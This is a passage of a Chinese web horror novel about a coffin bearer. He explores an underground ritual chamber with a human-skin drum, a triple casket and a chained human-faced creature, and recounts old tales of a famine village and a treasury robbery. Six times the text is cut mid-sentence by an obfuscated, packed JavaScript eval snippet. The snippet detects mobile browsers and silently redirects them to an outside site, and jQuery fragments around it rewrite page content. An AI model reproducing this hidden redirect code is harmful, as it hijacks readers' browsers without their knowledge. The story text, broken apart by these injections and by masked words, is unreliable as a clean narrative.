我不相信那几个人会凭空消失,房子只有一道门可以出入,不从这道门走的话,进去就出不来。四面的墙壁都是用至少两三百斤的大石块,一块一块垒起来的,人根本搬不动,更不要说在墙上掏个窟窿逃走了。 几个人就这样消失了? 我有点怀疑自己的眼睛是不是出了毛病,壮着胆子,把门后的木板挪开一半,手电的光线完全映入了房内,这一次我看的再清楚不过,里面的确空无一物。 我有点不信邪,即便有的事情很奇怪,至少也有迹可循。我想了想,弯腰从墙上四四方方的窟窿钻了进去。 这房子的内部大概有三十平方米左右,人在外面受到视角的影响,看的不全面,等真正置身在屋内的时候,我才恍然大悟。 房子正中间的地面上,有一个浑圆的洞口,这个洞口其实不小,只要走进来就能看到。 浑圆的洞口,就如同一口巨大的井,那几个穿着大褂的人,百分百是进入了这个井一般的洞口深处去了。 我正想看看,这洞口下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357061|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面究竟有多深,余光一瞥,立刻愣住了。洞口四周有一片一片已经干涸了许久的印记,印记是黑红色的,毫无规律的一滩又一滩,只要略微分辨,就能看出这是干涸之后的血迹。 这间屋子里面没有落灰,我一发现血迹,就朝四周多看了几眼,洞口周围这一大片范围里面,到处都是斑斑驳驳的血迹,触目惊心。 我就感觉嗓子眼发干,浑身上下不自在。玉芬刚才就说了,他看见了一片一片的血,喷洒的到处都是。 这里有没有死过人,我现在不敢确定,但至少有不止一个人在这里受了伤,流了血。 洞口的下面,黑乎乎的一团,用手电照下去,能看到两架很大的木梯子。洞估计有六七米深,但洞里的空间肯定不止视线所及的那么小。 我重新退了出来,扭头找到玉芬和大甜瓜,大甜瓜没有回想到什么,看见我回来,就关切的询问。 玉芬则完全不同,他刚才已经差不多恢复了平静,可一靠近这房子,玉芬就和脑血栓一样,两只手抖个不停。 “五满,听我的,咱们……咱们走吧……”玉芬拉着我的衣袖,苦苦的哀求。 “你再仔细想想,还能想起些什么吗?” “想不出来了,我就想起这屋子里头到处都是血,还死过很多人,这是个不祥之地,在这里呆的久了,一定会有麻烦,五满,咱们走……” 说实话,我现在的头皮已经麻了,这个地下空间本身就不怎么太平,我一直怀疑附近有人,现在又靠近了这间房子,那种不安的情绪,时刻都充斥在脑海中。 我觉得,只要敢再查下去,必然会遇到自己无法预料的危险。 可是就这样放弃,原路退回的话,我又非常的不甘。 我想了很长时间,最后还是决定查下去。机会只有一次,如果放弃了这个地方,我真的不知道该到哪儿再去找线索。 第86章 方相鼓 我做好了决定,随后就准备了一下,身上多余的累赘暂时留在外头,只带了些可能用得上的东西。 玉芬这时候的神情已经很慌乱了,他心里本来就怕,看到拦不住我,就觉得欲哭无泪。 “五满,你想清楚啊。” “被逼无奈,要不是有这些烂事,孙子才愿意到这里来冒险。行了,我自己心里有数,你带大甜瓜在外面守着。” 我重新顺着墙壁上那个四四方方的窟窿钻了进去,玉芬虽然害怕,但心里还是惦记我,不由自主的靠近了一些。 房子里那个浑圆的洞口内部,并未传出什么声音,我确信刚才进入房内的那几个人肯定还在,而且必然是进入了地面上的洞口。 人家在暗处,我在明处,这样下去,多半是会有险情的,我在洞口外面琢磨了很久,始终想不出一个十全十美的对策。无奈之下,只能先顺着一架很大的木梯子,一点一点的爬了下去。 这种木梯子非常少见,让我感觉有点多余。梯子基本上是供人爬高上低的,没必要造出这么大的梯子,除非是要想办法运送很沉重的东西下去。 顺着梯子爬下去差不多七米左右,我的双脚踩到了地面,这地洞果然是口小肚大,能感觉到里面的空间很宽敞。 我硬着头皮举起手电,朝前面照了照,在正南方向,有一条大概三四米宽的通道,通道不长,估计不到十米的样子,通道的尽头所连接的,还是一片黑乎乎的空间。 我观察的很仔细,这个地洞下面的空间,肯定也是天然形成的,但是经过了人为的扩建,通道两侧的石壁上,有非常明显的凿痕。 通道连同深处的空间一片寂静,没有光线,也没有声响,我甚至感应不出里面有任何活物的气息,所有的生机荡然无存。 我站了至少有十分钟时间,才开始一步一步的朝前走,通道里很空旷,什么东西都没有,等穿过通道之后,前方豁然开朗,手电的光芒映照出了一大堆乱七八糟的东西。 这个地方对我来说很陌生,里面的一些东西,我不太认识,看起来就像是很古怪的用来祭祀或者做法事的法器。除了法器,还有各种石雕,几个角落里,有圆锥形的石堆。 我现在分辨不清楚,这个地方到底是祭祀用的,还是做法事的,反正给我的感觉非常怪异。 那几个穿大褂的人,依然没有踪影。我已经格外小心了,但转念一想,自己拿着手电下来,对方就算是瞎子,肯定也知道来了外人,我就算再小心,其实也没什么用。 一想到这儿,我的胆子就大了些,干脆豁出去了,开始加快速度,想把这个地方完整的先检视一遍。 这里的杂物特别多,都蒙了一层灰尘,应该是很多年没人用过了。我先观察着,这些杂物的后面,或者隐蔽的角落里有没有人,然后才留意这些物品。 东西的形状,材质,都很古怪,随便翻出来一样,我都没见过,朝前又走了两步,我看到了石壁上雕刻着一道门。这道门只是浮雕,门框上有很杂乱的云纹,这些云纹组合到一起,隐约就像是一张狰狞的鬼脸。 紧贴着石壁的地方,有两个两尺高的石像,两尊石像的双手朝上高举,一起托着一面洗脸盆那么大的鼓。 我走上前去,低头一看,脑袋嗡的就大了一圈。 我以为这两个托着鼓的东西是石像,但完全没有想到,这其实是两具干尸。干尸死去的时候,年龄还很小,可能人刚死,尸体还没僵硬的时候,就直接放到了模具里定型,等到时间久了,尸体彻底脱水,基本还保持着临死前的样子。 我做抬棺人,见过很多很多的尸体,可这两具小小的干尸,带给我一种莫名的惊惧,我连看都不想多看一眼,急忙转移目光,盯着那面洗脸盆大小的鼓。 鼓非常陈旧,鼓的框架是用什么东西的骨头一块一块镶嵌打磨而成的,我不敢乱动这里的东西,也不可能直接下手去碰这面鼓,但是当我盯着鼓看了两分钟之后,鼓上蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358141|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的灰尘,突然扑扑簌簌的抖落了下来。 我急忙后退了两步,举起手中的钢钎,不过,灰尘抖落之后,暂时没有别的动静,我站着没动,直到尘埃落定,才重新用目光扫视了几眼。 或许是鼓上的灰尘抖落掉了,这一次,我不仅把鼓的框架看的很清楚,就连鼓皮的色泽,也都尽收眼底。随着观察的深入,一种莫名的惊悚,再一次充斥在脑海中。 这面鼓显然是很多很多年前的东西,但保存的很完好,鼓皮略微陈旧,如果用强光照射,那么就能看出,鼓皮上面有一圈一圈类似月牙一般的纹理。 我不由自主的打了个冷战,同时,还涌动着一种无法形容的复杂情绪。 我没有见过这面鼓,然而,我却知道它的来历。 可以说,对于白八门的人而言,这面只有洗脸盆大小的鼓,其实是一件重器。 鼓的鼓面一般是用牛皮来做,也有用其它乱七八糟的皮子来做的,但普天之下,只有一种皮革,拥有那种很独特的月牙形的纹理。 那就是人皮。 用人皮做的鼓,俗称月牙鼓,在白八门里面,则称为方相鼓。 以前白八门的先辈们抬棺出殡,遇到一般的死者还好,出殡的过程比较顺利。但有些人死的冤,或者死者生前有些道行,**之后也不安生,这样的死者结出的怨念一般都不肯离开家,所以在办丧事或者出殡的过程中,往往会出现各种各样令人意想不到的意外。 白八门里面负责引路,驱邪,做法事的分支,叫做“方相”,不知道从哪一年开始,方相这一支的前辈,就做了一面鼓,出殡的时候,两个人引路,一个撒钱,一个拍鼓,据说,这面鼓能够压制怨念,让整个葬礼的过程很顺利。 所以,这面鼓也叫镇魂鼓。 关于镇魂鼓,曾经有过一个很有名的传闻,这传闻残酷,血腥,邪异,以前听师傅讲这个故事的时候,我岁数还不大,听完之后,晚上睡觉都做噩梦。 第87章 收尸奇闻 师傅给我讲的故事,发生在清朝光绪初年,也就是从那之后,白八门的方相鼓就无影无踪,彻底失传了。 光绪初年,曾经发生过一次举世震惊的丁戊奇荒,先是旱灾,后来紧跟着蝗灾,导致很多地方庄稼颗粒无收,饿殍千里,惨不忍睹。 因为受灾的地方很多,而且覆盖的范围很大,老百姓连逃荒的地方都没有,最后导致成村成村的人一起饿死。 有一个村子,男女老少大概有二百多口子,这村子里的几个人,常年在南方做生意,所以村里的日子比别的地方都好过。灾荒发生的前一年,村里的老人似乎是察觉到了什么,提前招呼各家各户多囤粮食。 到了第二年,果然闹灾了,幸亏村民们家家户户都有了准备,囤积的粮食足够熬过两三年。 本来村里是不会饿**的,但附近的村镇,到处都是快要饿死的流民,一来二去,就知道这个村子有存粮,成千上万的灾民蜂拥而至,村里人根本就拦不住,囤的粮食被彻彻底底一扫而空。 没有粮食,就不可能有活路,村里人有想过,去投奔在南方做生意的家人,但老老少少都快饿**,一粒粮食都找不出来,寸步难行。 那几个在南方做生意的人收到消息的时候,已经迟了,他们想要立刻回家,但这时候回家,必须穿过几百上千里的灾区,可想而知,那压根就是不可能的事情。 最后毫无意外,一个村子的人全都**。而且,这个村子的村民死去的时候,怨气都特别重,他们本来不会被饿死,就因为救命的存粮被哄抢一空,才让村子死绝了。 灾情过去之后,侥幸逃到外地的一些幸存者才陆陆续续回家。因为死去的人太多了,直到灾情过去三四年,部分偏僻地区的尸体都没能收殓完。 那几个在南方做生意的人,随后就结伴赶回了家,等他们回去之后,村里已经没有一个活口,几个人的妻儿老小都在这里,一个个哭的死去活来。 但人**就是**,再怎么哭也哭不活,村里的人闹灾的时候全都**,也没人给收尸,这几个生意人请了人过来,把全村所有的尸体,全都集中到一起,他们舍得花钱,直接订购了上百口的棺材,准备把死者全数收殓安葬。 那么多棺材,棺材铺一时间也拿不出来,只能抓紧时间赶制。在此期间,也正好请人到村里做做法事,超度亡灵。 但是,连着请了几个人,到村口看了看,扭头就走,给双倍的钱都没人接这个活儿。几个生意人感觉很奇怪,他们又找了一个上了岁数的人,帮忙来做法事,结果人家也是到了村口,转身要走。 几个人赶紧拉住对方,想问个究竟。那老人还算是实诚,他说,这一村子的人死的都冤,怨气冲天,只要是稍稍懂行的人,就能看到村里的怨气已经凝成了一团黑雾,在上方悬浮。 按照这情形,谁敢去做法事,或者是给死者入殓送葬,谁就会倒霉。这老人自问没有这个本事,只能婉拒。 老人走了之后,几个生意人就犯了难,但这么多尸体,而且都是至亲好友,不可能丢下不管。就这样一直拖到所有的棺材都赶制出来,运到村里,还是没人敢接这个活儿。 几个生意人完全豁出去了,出了天价,请人来帮忙。重赏之下必有勇夫,最后,有一个以前就经常替人办丧事的,纠结了一帮子同行,把活儿揽了下来,双方约定了,从做法事再到出殡入葬,都由这帮人一手经办。 那帮人一共有十几个,趁着大白天,就赶紧进村,想把尸体先收殓到棺材里再说。 他们觉得,现在是白天,就算真的出事,也不可能太离谱。 然而,这村子的怨气,真的超乎了所有人的想象,这些人进村之后,连一具尸体都没收殓起来,天上就涌起了一片一片的乌云,乌云厚重如山,把日光彻彻底底的遮挡了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358142|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个村子顿时黑的伸手不见五指,就好像进入了暗夜。 那几个生意人就站在村头的小路路口,他们能看到,那一片一片的乌云,就只遮挡了村子,别的地方仍旧是晴空**。 紧跟着,村里就开始刮白毛风,风呼啸着,夹杂着人的头发,衣服鞋袜,还有指甲牙齿之类的杂物,劈头盖脸的朝人脸上刮。 村里当时具体是什么情景,其实没有人知道,因为进村的那十几个人,在里头**两个,剩下的仓皇逃出,还没等跑远,全都神智失常了。 等这些消息一传出去,就更没有人敢接这个活儿。几个生意人的确想要把自己的家人亲朋友都给安葬了,但实在是无从下手。 当时,周围那些村子的死者,基本都被火化或者安葬了,就剩下这么一个村子,那么多尸体堆积在一起,最后肯定要闹瘟疫,几个生意人真的是没办法了,找到了当地县衙。 县衙的人也没有办法,经过一番协商,由几个生意人出钱,然后县衙出面,辗转托人,请到了白八门当时鼎鼎大名的宋如海。 宋如海是白八门方相这一支的嫡系传人,也是当年一代大师宋连子的直系子孙。 宋如海那时候可以说是白八门第一人,听到别人来请,宋如海真的没太当回事,因为白八门的人办丧事,就和吃饭喝水一样,是家常便饭,就算再邪门的丧事,宋如海也不会放在眼里,所以,他专门带上两个年幼的儿子,让他们也长长经验见识。 然而,等宋如海真正赶到了这个村子,略一出手,立刻就觉得非常非常棘手,但他已经收了人家的钱,而且应允了肯定能把事办好,宋家的人言出必行,宁可死,也不会砸了自家的招牌,宋如海肠子都悔青了,却也没有反悔。 宋如海使出浑身解数,却还是碰了钉子,那村子当真已经是修罗炼狱,活人进去就出不来,更不要说把村子里的尸体都装棺入殓。 第92章 诡异小门 那个方方正正的东西,像是一个很大的箱子,又像是一个小小的平台,然而,光线一照上去,隐约能看到被薄薄灰尘所覆盖的纹理。 那种纹理是天然木材的纹理,我不敢确定,但一看到木材的纹理,心里立刻冒出了一个念头。 对于普通人,甚至对绝大部分白八门的人来说,这东西都是陌生的,从来没有见过,只是略有耳闻。 在古代的丧葬习俗中,有一种东西叫棺椁。棺就是棺材,用来装殓尸体,而椁则是装棺材的一个套子。 古时候,寻常百姓连同大部分的官员贵族,死去之后只能以棺入葬,而成套的棺椁,则是丧葬中最高规格的形式。假如遇见了以成套棺椁入葬的,必然是个人物。 我们白八门的人只是主持丧事,也不是挖坟盗墓的,所以对于成套的棺椁,几乎都没有见过,我也只是以前听师傅谈股论金时,耳闻过一些传闻。 最正规的棺椁丧葬,有非常明确而且严格的规制,先秦时代,天子入陵,用七重椁,诸侯五重,贵族三重,士大夫双重。 成套的棺椁,有保护尸体的作用,同时彰显死者的身份,而且,多重的木椁之间,有相应比较大的空间,陪葬的零碎小物件,直接放在棺中,而大件的陪葬,一般都在木椁和棺材之间的“椁室”。 师傅和我说过,有些棺椁的规模如果足够大,在椁室里,还会有陪葬的人殉。 我觉得,眼前就是成套的棺椁。外面那几个抬棺人,应该是负责把棺材抬到这里来的,棺材外的木椁太大,不可能直接运进来,估计是运送来一些木料,就在这个地方直接打造出了棺材外的木椁。 我现在看不出来,这套棺椁的主人是谁,但是,在棺椁周围的地面上,我又看到了一滩一滩血迹干涸之后留下的印记。 血迹一干,肯定看不出这是什么东西的血,但我觉得,这一定是人血。 情况扑朔迷/离,这里具体有什么危险,现在很难判断,我现在越来越坚信,师傅当年或许就是在这儿出的事。 不过,事情毕竟过去了很久,那些血也只留下的淡淡的痕迹,既然已经走到了这里,硬着头皮也得观察一下,看看这套很罕见的棺椁,安葬的究竟是什么人。 我一步一步的靠近这套棺椁,当距离剩下大概三四米的时候,棺椁上的木质纹理,又清晰了一些。从木质的纹理上来分辨,这应该是楠木。楠木不算是最顶级的木料,但这套棺椁这么大,用的木料也是大料,内地根本找不到,要耗费很大的精力和财力,从西南的深山老林运过来。 我正想继续观察一下,陡然间,先前就出现的那种很不好的感觉,一下子又浮现于心头。 那种感觉,就仿佛这个地方除了我,还有别的活的东西,在发现那几个已经死去的抬棺人之前,我就产生了这样的感觉,只是在看到抬棺人以后,我觉得是自己感应有误。 此时此刻,这种感觉一浮现出来,顿时一发不可收拾,无比的强烈,我的脑门子上随即冒出了一片冷汗。 我的感应似乎在这时候变的非常敏锐清晰,我觉得,自己之所以有这种感觉,完全是因为这套棺椁。 这套棺椁里,还有活着的东西? 这地方估计有十几年没人来过了,生命力再强的东西,呆个十几年也不可能不死。可是,心里的感觉那么强烈,又让我踌躇不定。 我站在原地,侧耳倾听,棺椁里面没有什么动静,周围也死一般的沉寂。 我的脑袋有点乱,因为从小到大,我很少有这样感觉非常强烈的时候,我觉得哪怕不用打开棺椁,也能知道里面有活的东西。 站了至少好几分钟时间,我才开始缓慢的移动脚步,这套棺椁确实很大,我隔着三四米的距离,围着棺椁绕了半圈。木椁的表面没有任何文字,仅凭着木质的纹理,是看不出什么实际情况的。 我心里的那种感觉,依然没有消失,忍不住又开始胡思乱想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381725|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棺椁里的人,究竟是什么身份?这起码是三四百年前的东西了,难道墓主在棺椁中死而复生? 与此同时,我又产生了一个很可怕的想法,前面那片养尸地的黑气,一到铁门那里就不敢再逼近了,我觉得那片黑气可能也很惧怕,就因为这个空间里,有这套棺椁的存在,所以黑气才不敢越雷池半步。 我轻轻晃了晃头,接着又迈动脚步,绕着棺椁继续观察,当我走到棺椁的尾部时,突然就听到咔嚓一声。 那种声音,如同有人拉开了窗户,我能分辨出声音的来源,急忙就从棺椁的尾部横跨一步,望向了棺椁的左侧。 在目光扫去的那一瞬间,我看到了一片微微飞扬的灰尘,棺椁的左侧,出现了一道小门。 那道小门显然是刚刚被拉开的,小门四四方方,长宽直径都在一米左右。 我的脑袋嗡的就打了一圈,棺椁的外面除了我,再没有别的任何东西,这道突然被拉开的小门,明显是从里面被拉开的。 难道我的感觉的确是真的?这套棺椁里面,有活着的东西? 手电的光线,只能照出无数正在缓缓漂荡的灰尘,小门被拉开之后,棺椁的内部一片沉寂,因为角度的问题,我看不清楚内部的具体构造,但根据大概的空间来判断,这套棺椁应该是占比最高的三重椁。 我拿着手里的钢钎,一时间不知该进还是该退。 甚至,我有点开始怀疑,自己的感觉是不是出现了偏差,因为棺椁上的小门,不一定非要有什么活的东西才能打开,如果棺椁内部有一套精密的机括装置,完全也有把小门打开的可能。 我暂时判断不出实际情况到底如何,什么都不清楚,自然无法决定下一步该怎么办。 就在我举棋不定的时候,从小门里面,又传出了一道声音。 那声音绝对不是我的幻觉,清晰可闻,我觉得那似乎是金属碰撞的声音,又好像是一条铁索被触碰后产生的声响。 第93章 尘封劫案 木椁里的声音,连绵不断,当声响又传出来的时候,我已经大概分辨清楚了,那的确是一条金属锁链之类的东西被拉扯之后产生的。 哗啦哗啦的声音从死气沉沉的木椁内部传来,就让人感觉心惊肉跳。我拿着钢钎挡在自己面前,刚才心里所产生的那种感觉,似乎一步一步的被印证着。 我暂时没看到木椁里面有什么东西出现,只是听见了哗啦的声音。我还是不敢完全断定,这声音是怎么发出的,只有钻到里面去亲眼看看,才能确认究竟是不是机括被触碰后出现的结果。 我站在小门附近,又听了一会儿,心就感觉不对了,这应该不是机括运行的声响。因为此时的声音没有任何节奏,杂乱无章,如果是精密的机括,不可能是这种状态。 就在我心中疑虑的时候,铁索抖动的声音猛然一震,紧跟着,从木椁上的小门,唰的探出了一张脸。 我一直都在严防戒备,当这张脸出现的那一瞬间,手里的钢钎直接就抡了过去。 那张脸骤然又缩到了木椁里面,钢钎重重落到了小门的边缘。 我还没有来得及把钢钎收回,小门后面的脸重新探出,我有点心慌,急忙就退回去几步。 那张脸的主人,一点一点从小门里面钻了出来,随着它身躯的一动,那阵哗啦哗啦的铁索声,又一次落入耳中。 这东西果然是活的,但一时间,我真的分辨不出这是什么。 它的脸,还有身躯上,全都是棕褐色的**,猛然看上去,像是一只猴子。 然而,如果仔细的看,就会发现它那张被**覆盖的脸庞,其实是一张人脸。人脸和猴子的脸,还是很容易区分的。 这个古里古怪的东西暂时没有动弹,半蹲在地上,微微抬头盯着我,它的一条腿上,绑着一根食指粗细而且很长的铁索。 我刚才抡出去的那一下,虽然没有砸到这玩意儿,但是已经让它感应到了敌意,它头上乱糟糟的**遮挡住了眼睛,不过,我还是能看到,它的眼睛虽然像人,可眼珠子却闪动着人所没有的血色。 面对这样的情景,我肯定不敢松懈,手里的钢钎始终挡在自己面前。 那个叫不出名字的玩意儿,让我感觉到了强烈的攻击性,它盯着我看了一会儿,慢慢的咧开嘴,露出两颗尖利的獠牙。 当我看到这东西那一双血红的眼睛,还有嘴巴里尖利的獠牙时,心里陡然一惊,与此同时,脑海里面那些已经久远的往事,不由自主的浮现了出来。 我十三岁就跟着师傅学艺,那时候年龄小,好奇心强,总是缠着师傅讲故事。 师傅那人比较木讷,不善言辞,每次跟我讲的故事,基本上都是和白八门有关的。 有的故事,因为我听到的时候年龄还小,不懂那么多,之后这些年也没机会去验证,久而久之,就渐渐淡忘了。 此刻看见眼前这个像人又像猴子一般的东西,我就回想起了早年间听师傅讲的一些故事。 白八门最鼎盛的时候,其实就是大师宋连子活着的那些年,宋连子去世,他的儿子宋如海也遭受了一些挫折,很少会过问外界的事情,再加上祖师爷郭家的影响力逐渐减弱,白八门也出现了势衰的征兆。 之后,白八门遭受过一场灭顶之灾,险些断绝香火。 但说起来,当年被卷到这场灭顶之灾里的大部分人,其实是无辜的,归根结底,全是因为受了一个人的牵连。 那个人姓麻,叫麻福,是白八门方相一支的传人,算是宋连子的徒弟,但并不是最受重视的那个。宋连子在世的时候,他的儿子徒弟都很受规矩,没有任何人敢做出格的事情。 等宋连子死去,宋如海又淡出白八门以后,情况就不太一样了,大部分门人,还能恪守祖宗规矩,只靠自己的手艺混饭吃,也有个别人,因为缺少了管束,行事愈发肆意妄为。 那个叫做麻福的,就是其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381726|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一个。 当年那个时代,每个地方官府,都会有一个钱库,用来存放现银。钱库守卫森严,从来没有发生过盗抢之类的事情。 有一次,河南一个府衙的官库半夜里被抢,因为这个府衙的官库本身就常年亏空,库里只存放了几千两银子,这些银子全都被悉数劫走。 丢了几千两官银。银子虽然不算太多,但盗抢官库,开国上百年都没有遇到过一次,因此,对这个盗抢案子,朝廷和地方都非常重视,全力进行搜捕。 那场劫案有点离谱,守库的兵丁因为根本没想到会有人胆子这么大,所以当时防备不严,劫案发生时,当场就**好几个。 据幸存下来的兵丁说,闯入官库的,是个毛茸茸的玩意儿,那东西和猴子一样,长着一张人脸,来去如风,行动敏捷之极。 亲眼目睹过的人,都分不清楚那东西到底是什么,说是人,却一身都是**,说是猴子,却能手持利刃,挡者披靡。 作案者肯定做了非常充分而且周密的准备,没有留下任何有用的线索,一番大肆追查,其实什么都没查出来。 事过两三个月,江苏一处府衙的府库,又在深夜被劫掠,情况和前一次基本相同,还是一个毛茸茸又像人又像猴子的东西闯入府库,把守库的兵丁杀伤,官银又丢失了上万两。 这一次,仍旧是没有留下任何有用的线索,两次劫案,共劫走了一万大几千两官银,放到普通人身上,足够潇洒快活一辈子。 因为在两次劫案中都没有找到什么有用的线索,官府反倒不希望**留手,还盼着**能再次作案,那样才有机会查出些端倪。 但是**应该也能想到这些,第二次劫案过去之后,过了有大半年,各地就再也没有发生类似的案子。 如果照这样下去,劫案或许会变成永远没有真相的悬案。 谁知道,就在官府都不抱什么希望的时候,却突然出现了转机。 第94章 人面魈 这个转机来的非常偶然,也非常凑巧。就是在第一次劫案发生的那个地方,有个青/楼,有一次,一个二十多岁的年轻人到青/楼来喝花酒,这年轻人看着其貌不扬,衣着打扮也不像是有钱人,所以,到了当天夜里,年轻人要留宿的时候,青/楼的老/鸨就想让对方先把账结一结。 这个年轻人喝了点酒,又觉得老/鸨狗眼看人低,当时就拿了现银去结账,老/鸨看对方掏了银子,赶紧换了副笑脸,叫人好好伺候金主。 但是,等老/鸨下楼之后,就觉得有些不太对劲。 那年头,民间老百姓用的,大多还是铜钱,有钱人也会使用银子,不过,市面流通的银子肯定都有磨损或者氧化。 而这个年轻人付的银子,是真货,只是银子太新了,虽然已经被绞钳剪碎成了碎银,可一看就能分辨出,这是从之前没有流通过的银锭上剪下来的。 老/鸨这种人,见多识广,是人精,很多事情,她略微一想就能想明白。民间不可能流通这种银锭,这都是官府收了税,把散碎银子重新回炉,铸造成崭新的银锭,然后上缴或者存库,银锭是不会放到市面上去流通的。 如果有人拿出这种从银锭上剪下来的银子,唯一的解释,就是他手里有官银。 本地劫案过去的时间还不到一年,当时官府到处搜集线索,老/鸨肯定是知道的。她赶紧就派人带着年轻人付的银子去报官,官府一听有人带着官银出来,马上就把青/楼给围了。 那个年轻人自然无法逃脱,被带走之后,也承受不住严刑拷打,最后一五一十的全都招供了。 年轻人叫麻显,很早以前就投奔了本家兄长麻福。麻福当时已经在白八门混了十多年,麻显自然也混到了白八门里面。 宋连子管束门徒管束的很严,徒弟们平时除了做本门的生意之外,别的什么乱七八糟的事情,都被严格杜绝。所以,很多人平日里都比较闲。 那个叫麻福的人闲着没事,就会看一些书来打发时间,有一次,他在书库的角落中翻到了一本不知何年何月留下的古籍,这本古籍里面,记录了一些他以前听都没听说过的异闻怪事,还有方外秘术。 当时的麻福还很年轻,但心机深沉,他知道自己不受师傅的重视,想要出人头地,就必须自己学本事。这本无名古籍,麻福读的滚瓜烂熟,其中有一个人面魈的传闻,深深的吸引了他。 所谓的人面魈,就是从一个人还在襁褓中的时候,就开始喂食一种秘药。那种秘药里面有三阳血,也就是虎血,鹿血和熊血,除了三阳血,还有其它一些稀奇古怪的配料。 婴儿常年服用这种秘药,等渐渐长大之后,就会遍体生毛,状如灵猿,上山如虎,入水如龙。 如果豢养人面魈的人有手段,有耐心,人面魈就会变成十足的杀器,寻常人绝难抵挡,即便遇见大队人马围剿,也能依靠灵敏的身形逃出重围。 麻福看到这些,顿时就留意了,古籍上面记录了配药的具体原料,还有豢养人面魈的过程。麻福瞒着所有人,私自从别处偷了一个婴儿,配药喂养。 一转眼间,十几年过去,宋连子过世,麻福失去了管束,他过了这么多年清苦的生活,又觉得自己能力出众,很不甘心现状,而那个人面魈,被自己喂养了十几年,已经能够发挥作用。 麻福专门回到老家,然后寻找作案目标,这种事情一个人做,有点麻烦,那么多的现银,自己也搬不走多少。因此,他专门带上了同族兄弟麻显。 他们作案,其实并不复杂,就是临时放出人面魈,麻福喂养的人面魈,除了给药吃,平时就喂生肉,或者是活鸡活鸭之类的东西,因此,人面魈的野性和杀心都很重。 等人面魈把守库的兵丁杀散,麻福兄弟两个,就趁机搬取库银,他们两个不敢明目张胆,所以搬走的库银数量有限。 等做了两次案之后,麻福就决定收手了,他给麻显分了一些钱,自己则远走他乡。麻福的心思比较缜密,临走之前,他专门吩咐过麻显,让麻显回家以后,先去找自己的一个熟人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387471|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用官银从他那里换成散碎的普通银子,这样花销起来也不会被怀疑。 等麻显回家,去寻找麻福的朋友换钱时,发现对方得了急病,两个月前就死掉了,最开始,麻显心里也有点担忧,但闲的时间长了,天天守着白/花花的银子却不能挥霍,他心痒难耐。 麻显自作聪明,把银锭剪碎,拿去买醉,偏又遇到了老/鸨那么精细的人,最终马失前蹄。 一得到这条线索,官府立刻到处开始搜捕麻福,但谁也不知道麻福究竟躲到了什么地方。因为麻福是白八门的人,而**官库又是株连九族的大罪,白八门就跟着倒了霉,很多人被抓,死在了狱中。 